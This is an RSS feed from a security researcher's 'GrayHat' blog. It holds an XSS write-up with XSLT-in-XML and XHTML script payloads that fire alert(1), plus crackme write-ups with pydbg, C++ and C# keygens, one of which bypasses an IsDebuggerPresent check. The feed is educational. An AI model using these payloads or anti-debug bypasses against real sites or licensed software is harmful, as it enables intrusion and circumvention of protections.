<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>webstersprodigy.net &#187; GrayHat</title>
	<atom:link href="http://webstersprodigy.net/category/computers/grayhat/feed/" rel="self" type="application/rss+xml" />
	<link>http://webstersprodigy.net</link>
	<description>Me trying to learn how to use a computer</description>
	<lastBuildDate>Sat, 04 Feb 2012 01:17:01 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Serving Back XML for XSS</title>
		<link>http://webstersprodigy.net/2012/02/serving-back-xml-for-xss/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=serving-back-xml-for-xss</link>
		<comments>http://webstersprodigy.net/2012/02/serving-back-xml-for-xss/#comments</comments>
		<pubDate>Sat, 04 Feb 2012 01:17:01 +0000</pubDate>
		<dc:creator>webstersprodigy</dc:creator>
				<category><![CDATA[Computers]]></category>
		<category><![CDATA[GrayHat]]></category>
		<category><![CDATA[Web]]></category>

		<guid isPermaLink="false">http://webstersprodigy.net/?p=873</guid>
		<description><![CDATA[In our &#8220;New ways I&#8217;m going to hack your web app&#8221; talk, one vulnerability example we had was with wordpress. There were three pieces to the attack 1) uploading an xsl file, 2) uploading an XML file that applied the XSL transform and 3) tossing the cookie up to execute script cross domain. Nicolas Grégoire watched [...]]]></description>
			<content:encoded><![CDATA[<p>In our &#8220;<a title="Is it already 2012?" href="http://webstersprodigy.net/2012/01/is-it-already-2012/">New ways I&#8217;m going to hack your web app</a>&#8221; talk, one vulnerability example we had was with wordpress. There were three pieces to the attack 1) uploading an xsl file, 2) uploading an XML file that applied the XSL transform and 3) tossing the cookie up to execute script cross domain. Nicolas Grégoire watched our presentation and sent me an email wondering why we didn&#8217;t just use an XSLT stylesheet embedded in the XML. This is the same technique Chris Evans uses here: <a href="http://scarybeastsecurity.blogspot.com/2011/01/harmless-svg-xslt-curiousity.html">http://scarybeastsecurity.blogspot.com/2011/01/harmless-svg-xslt-curiousity.html</a>. I didn&#8217;t know this was even possible, but it turns out it makes step#1 unnecessary.</p>
<p>In our original example, we had this xsl file saved as a jpg:</p>
<pre class="brush: plain; title: ; notranslate">

&lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot; ?&gt;
 &lt;xsl:stylesheet id=&quot;stylesheet&quot; version=&quot;1.0&quot; xmlns:xsl=&quot;http://www.w3.org/1999/XSL/Transform&quot;&gt;
&lt;xsl:template match=&quot;/&quot;&gt;
 &lt;h3&gt;got it!!!!!&lt;/h3&gt;
 &lt;script&gt;alert(1)&lt;/script&gt;
 &lt;/xsl:template&gt;
 &lt;/xsl:stylesheet&gt;
</pre>
<p>And we had the xml that applied it as a wxr file.</p>
<pre class="brush: plain; title: ; notranslate">

&lt;?xml version=&quot;1.0&quot;?&gt;
&lt;?xml-stylesheet type=&quot;text/xsl&quot; href=&quot;./badxsl.jpg&quot;?&gt;
&lt;document&gt;
 &lt;x name=&quot;x&quot;&gt;x&lt;/x&gt;
 &lt;abc&gt;
 &lt;def&gt;def&lt;/def&gt;
 &lt;/abc&gt;
&lt;/document&gt;
</pre>
<p>These can be combined the same way Chris Evans does it. So for script execution in just the wxr file, the end result looks like this:</p>
<pre class="brush: plain; title: ; notranslate">

&lt;?xml version=&quot;1.0&quot; ?&gt;
&lt;?xml-stylesheet type=&quot;text/xsl&quot; href=&quot;#stylesheet&quot;?&gt;
&lt;!DOCTYPE responses[
&lt;!ATTLIST xsl:stylesheet
id ID #REQUIRED
&gt;
]&gt;
&lt;document&gt;
&lt;node /&gt;
&lt;xsl:stylesheet id=&quot;stylesheet&quot; version=&quot;1.0&quot; xmlns:xsl=&quot;http://www.w3.org/1999/XSL/Transform&quot;&gt;
&lt;xsl:template match=&quot;/&quot;&gt;
 &lt;h3&gt;got it!!!!!&lt;/h3&gt;
 &lt;script&gt;alert(1)&lt;/script&gt;
 &lt;/xsl:template&gt;
&lt;/xsl:stylesheet&gt;
&lt;/document&gt;
</pre>
<p>This fires in IE9:</p>
<p><a href="http://webstersprodigy.net/wp-content/uploads/2012/02/req5.png"><img class="alignnone size-medium wp-image-876" title="req5" src="http://webstersprodigy.net/wp-content/uploads/2012/02/req5-300x192.png" alt="" width="300" height="192" /></a></p>
<p>This doesn&#8217;t work in Firefox or Chrome. But if an app is serving back xml then you always have other tricks, like trying to get the browser to render the xml as xhtml. Like the following works in Chrome whatever and Firefox 9, but not IE.</p>
<pre class="brush: plain; title: ; notranslate">
&lt;?xml version=&quot;1.0&quot;?&gt;
&lt;foo&gt;
&lt;html xmlns:html='http://www.w3.org/1999/xhtml'&gt;
 &lt;html:script&gt;alert(1);&lt;/html:script&gt;
&lt;/html&gt;
&lt;/foo&gt;
</pre>
]]></content:encoded>
			<wfw:commentRss>http://webstersprodigy.net/2012/02/serving-back-xml-for-xss/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Is it already 2012?</title>
		<link>http://webstersprodigy.net/2012/01/is-it-already-2012/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=is-it-already-2012</link>
		<comments>http://webstersprodigy.net/2012/01/is-it-already-2012/#comments</comments>
		<pubDate>Tue, 31 Jan 2012 07:16:41 +0000</pubDate>
		<dc:creator>webstersprodigy</dc:creator>
				<category><![CDATA[GrayHat]]></category>

		<guid isPermaLink="false">http://webstersprodigy.net/webstersv2/?p=813</guid>
		<description><![CDATA[I thought about starting a new blog, it&#8217;s been that long. Giving our talk, &#8220;New ways I&#8217;m going to hack your web app&#8221; at Bluehat 2011 was awesome. I practiced so much that everything just went well. Unfortunately I managed to forget a ton of it for 28c3/Blackhat and I spoke way too fast (I [...]]]></description>
			<content:encoded><![CDATA[<p>I thought about starting a new blog, it&#8217;s been that long.</p>
<p>Giving our talk, &#8220;New ways I&#8217;m going to hack your web app&#8221; at Bluehat 2011 was awesome. I practiced so much that everything just went well. Unfortunately I managed to forget a ton of it for 28c3/Blackhat and I spoke way too fast (I always do the same thing when I get nervous and don&#8217;t think about it).  Not to mention all my favorite content was needlessly censored. That sucks, but hopefully as I talk more things will get better.</p>
<p><iframe src="http://www.youtube.com/embed/hB2lPJldYQI" frameborder="0" width="560" height="315"></iframe></p>
<p>I hate watching that, by the way. The cool thing is there were a lot of people, I think the room holds about 1000. So that was scary, but also a great experience.</p>
<p>Here is the whitepaper:<br />
<a href="https://skydrive.live.com/redir.aspx?cid=3ac0418833532dff&amp;resid=3AC0418833532DFF!249&amp;parid=3AC0418833532DFF!264"> https://skydrive.live.com/redir.aspx?cid=3ac0418833532dff&amp;resid=3AC0418833532DFF!249&amp;parid=3AC0418833532DFF!264</a></p>
<p>and the slides:<br />
<a href="https://skydrive.live.com/redir.aspx?cid=3ac0418833532dff&amp;resid=3AC0418833532DFF!250&amp;parid=3AC0418833532DFF!264"> https://skydrive.live.com/redir.aspx?cid=3ac0418833532dff&amp;resid=3AC0418833532DFF!250&amp;parid=3AC0418833532DFF!264</a></p>
]]></content:encoded>
			<wfw:commentRss>http://webstersprodigy.net/2012/01/is-it-already-2012/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>pydbg reverseme solution update</title>
		<link>http://webstersprodigy.net/2010/07/pydbg-reverseme-solution-update/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=pydbg-reverseme-solution-update</link>
		<comments>http://webstersprodigy.net/2010/07/pydbg-reverseme-solution-update/#comments</comments>
		<pubDate>Thu, 08 Jul 2010 03:07:18 +0000</pubDate>
		<dc:creator>webstersprodigy</dc:creator>
				<category><![CDATA[GrayHat]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[pydbg]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[reverseme]]></category>

		<guid isPermaLink="false">http://webstersprodigy.net/?p=702</guid>
		<description><![CDATA[This is an update to http://webstersprodigy.net/2010/07/07/pydbg-reverseme-solution/. I change a register now to circumvent the isdebuggerpresent call.]]></description>
			<content:encoded><![CDATA[<p>This is an update to http://webstersprodigy.net/2010/07/07/pydbg-reverseme-solution/. I change a register now to circumvent the isdebuggerpresent call.</p>
<pre class="brush: python; title: ; notranslate">
import sys
import ctypes

from pydbg import *
from pydbg.defines import *

print &quot;This is a very stupid keygen that uses a debug method and grabs the key from memory&quot;
print &quot;prints out the valid key, and writes it to memory&quot;
print &quot;Basically, pydbg 'hello, world'&quot;
print &quot;-------------&quot;

if len(sys.argv) != 2:
    print &quot;Error. USAGE: keygen.py C:\full\path\ice&quot;
    sys.exit(-1)

def handler_breakpoint(mdbg):
    if mdbg.get_register(&quot;EIP&quot;) == 0x004011F5:
        valid_str = &quot;&quot;
        #the valid serial is at 004030C8
        addr = 0x004030C8
        while 1:
            tmp = mdbg.read(addr, 1)
            addr += 1
            if tmp != &quot;\x00&quot;:
                valid_str = valid_str + tmp
            else:
                break
        print &quot;The valid string is: &quot;, valid_str
        print &quot;Writing this to memory...&quot;
        #write this to memory at 004030b4
        #def write (self, address, data, length=0)
        #wdata = ctypes.create_string_buffer(valid_str)
        mdbg.write(0x00403198, valid_str, len(valid_str))
        #checking the write
        #print mdbg.read(0x00403198, len(valid_str) + 1)
    if mdbg.get_register(&quot;EIP&quot;) == 0x40106e:
        mdbg.set_register(&quot;EAX&quot;, 0)
    return DBG_CONTINUE

dbg = pydbg()
dbg.set_callback(EXCEPTION_BREAKPOINT, handler_breakpoint)
dbg.load(sys.argv[1])
dbg.debug_event_iteration()
#0x40106e is the point where we can circumvent the isdebugger present call
dbg.bp_set(0x40106e)
#at 004011FF in execution,
#breakpoing for reading writing final compare
dbg.bp_set(0x004011F5)
dbg.debug_event_loop()
</pre>
]]></content:encoded>
			<wfw:commentRss>http://webstersprodigy.net/2010/07/pydbg-reverseme-solution-update/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>pydbg reverseme solution</title>
		<link>http://webstersprodigy.net/2010/07/pydbg-reverseme-solution/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=pydbg-reverseme-solution</link>
		<comments>http://webstersprodigy.net/2010/07/pydbg-reverseme-solution/#comments</comments>
		<pubDate>Wed, 07 Jul 2010 04:49:45 +0000</pubDate>
		<dc:creator>webstersprodigy</dc:creator>
				<category><![CDATA[GrayHat]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[windoze]]></category>
		<category><![CDATA[crackme]]></category>
		<category><![CDATA[debugging]]></category>
		<category><![CDATA[pydbg]]></category>
		<category><![CDATA[python]]></category>

		<guid isPermaLink="false">http://webstersprodigy.net/?p=698</guid>
		<description><![CDATA[Last week I wrote a keygen here: http://webstersprodigy.net/2010/06/22/reverseme-windows-keygen/. This is an almost identical problem, but the binary has been patched to allow debugging (I may do this programmaticly as well, but not yet). I wanted to solve this with programmatic debugging. Here is the exe: Ice9pch3. The code simply sets a breakpoint and prints the [...]]]></description>
			<content:encoded><![CDATA[<p>Last week I wrote a keygen here: <a href="http://webstersprodigy.net/2010/06/22/reverseme-windows-keygen/">http://webstersprodigy.net/2010/06/22/reverseme-windows-keygen/</a>.</p>
<p>This is an almost identical problem, but the binary has been patched to allow debugging (I may do this programmaticly as well, but not yet). I wanted to solve this with programmatic debugging. Here is the exe:<br />
<a href='http://webstersprodigy.net/wp-content/uploads/2010/07/Ice9pch3.exe'>Ice9pch3</a>.</p>
<p>The code simply sets a breakpoint and prints the key to the screen. Also it patches the process memory so that the serial is valid.</p>
<pre class="brush: python; title: ; notranslate">
import sys
import ctypes

from pydbg import *
from pydbg.defines import *

print &quot;This is a very stupid keygen that uses a debug method and grabs the key from memory&quot;
print &quot;prints out the valid key, and writes it to memory&quot;
print &quot;Basically, pydbg 'hello, world'&quot;
print &quot;-------------&quot;

if len(sys.argv) != 2:
    print &quot;Error. USAGE: keygen.py C:\full\path\ice&quot;
    sys.exit(-1)

def handler_breakpoint(mdbg):
    valid_str = &quot;&quot;
    #the valid serial is at 004030C8
    addr = 0x004030C8
    while 1:
        tmp = mdbg.read(addr, 1)
        addr += 1
        if tmp != &quot;\x00&quot;:
            valid_str = valid_str + tmp
        else:
            break
    print &quot;The valid string is: &quot;, valid_str
    print &quot;Writing this to memory...&quot;
    #write this to memory at 004030b4
    #def write (self, address, data, length=0)
    wdata = ctypes.create_string_buffer(valid_str)
    mdbg.write(0x00403198, wdata, len(valid_str))
    #checking the write
    #print mdbg.read(0x00403198, len(valid_str) + 1)
    return DBG_CONTINUE

dbg = pydbg()
dbg.set_callback(EXCEPTION_BREAKPOINT, handler_breakpoint)
dbg.load(sys.argv[1])
dbg.debug_event_iteration()
#at 004011FF in execution,
#def bp_set (self, address, description=&quot;&quot;, restore=True, handler=None):
dbg.bp_set(0x004011F5)
dbg.debug_event_loop()
</pre>
]]></content:encoded>
			<wfw:commentRss>http://webstersprodigy.net/2010/07/pydbg-reverseme-solution/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Reverseme Windows Keygen</title>
		<link>http://webstersprodigy.net/2010/06/reverseme-windows-keygen/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=reverseme-windows-keygen</link>
		<comments>http://webstersprodigy.net/2010/06/reverseme-windows-keygen/#comments</comments>
		<pubDate>Tue, 22 Jun 2010 04:24:12 +0000</pubDate>
		<dc:creator>webstersprodigy</dc:creator>
				<category><![CDATA[Bits and Bytes]]></category>
		<category><![CDATA[GrayHat]]></category>
		<category><![CDATA[crackmes]]></category>
		<category><![CDATA[IDA]]></category>
		<category><![CDATA[keygen]]></category>
		<category><![CDATA[ollydbg]]></category>

		<guid isPermaLink="false">http://webstersprodigy.net/?p=692</guid>
		<description><![CDATA[This one was challenging for me, and took me several hours, but was fun. I got caught up on certain parts that may not have been too difficult, but, yeah&#8230; http://crackmes.de/users/tripletordo/ice9/ You can download the executable here Ice9.zip. The first thing I noticed is probably the &#8216;trick&#8217; which was simply a call to isdebuggerpresent. I [...]]]></description>
			<content:encoded><![CDATA[<p>This one was challenging for me, and took me several hours, but was fun. I got caught up on certain parts that may not have been too difficult, but, yeah&#8230;</p>
<p>http://crackmes.de/users/tripletordo/ice9/</p>
<p>You can download the executable here <a href='http://webstersprodigy.net/wp-content/uploads/2010/06/Ice9.zip'>Ice9.zip</a>.</p>
<p>The first thing I noticed is probably the &#8216;trick&#8217; which was simply a call to isdebuggerpresent. I modified the assembly immediately after from JNE to JE so that it only runs if a debugger is present, allowing me to attach my debugger.</p>
<blockquote><p>
00401071     74 0A          JE SHORT Ice9.0040107D
</p></blockquote>
<p>This took a lot of trial and error. My strategy was to replicate the logic. Once I got to the point &#8216;ecx at 0040119c&#8217; I was home free.</p>
<pre class="brush: cpp; title: ; notranslate">
#include &lt;iostream&gt;
#include &lt;string&gt;
using namespace std;

void main (int argc, char *argv[]) {
  if ( argc != 2) {
    cout&lt;&lt;&quot;Bad usage, enter a name &gt; 4 letters&quot;&lt;&lt;endl;
	return;
  }
  string name = argv[1];
  string ostring = name;
  int i;
  //first reverse the string
  for (i=0; i&lt;name.length(); i++) {
    name[i] = ostring [name.length()-i-1];
  }

  if (name.length() &lt; 4) {
    cout &lt;&lt; &quot;name must be more than 4 letters chief&quot;&lt;&lt;endl;
	return;
  }

  int v1 = 0;
  int cum = 0;
  for (i=1; i&lt;name.length(); i++) {
    v1 = name[i];
	if (name[i] &lt;= 90) {
	  if (v1 &gt;= 65)
	    v1 += 44;
	}
	cum += v1;
  } //ecx at 0040119C

  cum = 9 * (12345 * (cum + 666) - 23);

  char chr_403119 [122];
  unsigned int v;
  i=0;
  //no bounds checking
  do {
    v = cum;
	cum /= 0xA;
	chr_403119[i++] = v % 10 + 48;
  } while (v / 10);
  chr_403119[i] = '&#92;&#48;';

  printf (&quot;%s&quot;, chr_403119);
  string serial = &quot;&quot;;

  //reverse the string
  for (; i &gt;= 0; --i) {
    serial += chr_403119[i];
  }
  cout&lt;&lt;serial&lt;&lt;endl;

  //append all chars except the 'first' three to the end
  for (i=3; i&lt; ostring.length(); i++) {
    serial += ostring[i];
  }

  cout&lt;&lt;serial&lt;&lt;endl;

}
</pre>
<p>My plan on this one, since it was interesting enough and because it&#8217;s relatively easy to break at the final value, is to break this a completely different way. I&#8217;d like to write a python debugging script that bypasses the isdebuggerpresent and just grabs the final value in the compare at 004011FF. This should be relatively straightforward, and hopefully a good &#8216;hello, world&#8217; to the world of python debugging. Stay tuned.</p>
]]></content:encoded>
			<wfw:commentRss>http://webstersprodigy.net/2010/06/reverseme-windows-keygen/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Reverseme: Easy Windows Using Reflector</title>
		<link>http://webstersprodigy.net/2010/06/reverseme-easy-windows-using-reflector/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=reverseme-easy-windows-using-reflector</link>
		<comments>http://webstersprodigy.net/2010/06/reverseme-easy-windows-using-reflector/#comments</comments>
		<pubDate>Thu, 10 Jun 2010 03:41:45 +0000</pubDate>
		<dc:creator>webstersprodigy</dc:creator>
				<category><![CDATA[Computers]]></category>
		<category><![CDATA[GrayHat]]></category>
		<category><![CDATA[C sharp]]></category>
		<category><![CDATA[reflector]]></category>
		<category><![CDATA[reversing]]></category>

		<guid isPermaLink="false">http://webstersprodigy.net/?p=671</guid>
		<description><![CDATA[http://crackmes.de/users/d0min4ted/keygenme_by_d0min4ted/ In case the link goes away, here is a zip of the executable. crackme I cheated on this one and used reflector. This was an excuse for me to try reflector out&#8230; so I started with that in mind. The Checking code ends up being in crackme-&#62;WindowsFormsApplication4-&#62;Form1. You can deduce what most the buttons do. [...]]]></description>
			<content:encoded><![CDATA[<p>http://crackmes.de/users/d0min4ted/keygenme_by_d0min4ted/</p>
<p>In case the link goes away, here is a zip of the executable. <a href="http://webstersprodigy.net/wp-content/uploads/2010/06/crackme.zip">crackme</a></p>
<p>I cheated on this one and used reflector. This was an excuse for me to try reflector out&#8230; so I started with that in mind.</p>
<p>The Checking code ends up being in crackme-&gt;WindowsFormsApplication4-&gt;Form1. You can deduce what most the buttons do. The relevant one turns out to be in asd. The keygen is basically straight from the verifying function found there, written in C#.</p>
<pre class="brush: java; title: ; notranslate">
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;

namespace keygen
{
    class Program
    {
        static void Main(string[] args)
        {
            Console.Write(&quot;Name: &quot;);
            string Name = Console.ReadLine();
            if (Name.Length &lt; 4)
            {
                Console.WriteLine(&quot;Name must be 4 characters&quot;);
                Environment.Exit(0);
            }

            string str3 = &quot;&quot;;
            char[] chArray = Name.ToCharArray();
            foreach (char ch in chArray)
            {
                int num2 = Convert.ToInt32(ch);
                string str4 = string.Format(&quot;{0:X}&quot;, num2);
                str3 = str3 + str4;
            }
            char[] array = str3.ToCharArray();
            Array.Reverse(array);
            string str5 = new string(array);
            if (str5.Length &gt; 9)
            {
                str5 = str5.Remove(9, str5.Length - 9);
            }
            decimal num4 = Convert.ToDecimal(Convert.ToInt32(str5));
            double num5 = Math.Pow((double)Name.Length, 3.0);
            decimal num6 = Math.Round((decimal)(num4 * Convert.ToDecimal(num5)), 0);
            Console.WriteLine(num6);
        }
    }
}
</pre>
]]></content:encoded>
			<wfw:commentRss>http://webstersprodigy.net/2010/06/reverseme-easy-windows-using-reflector/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

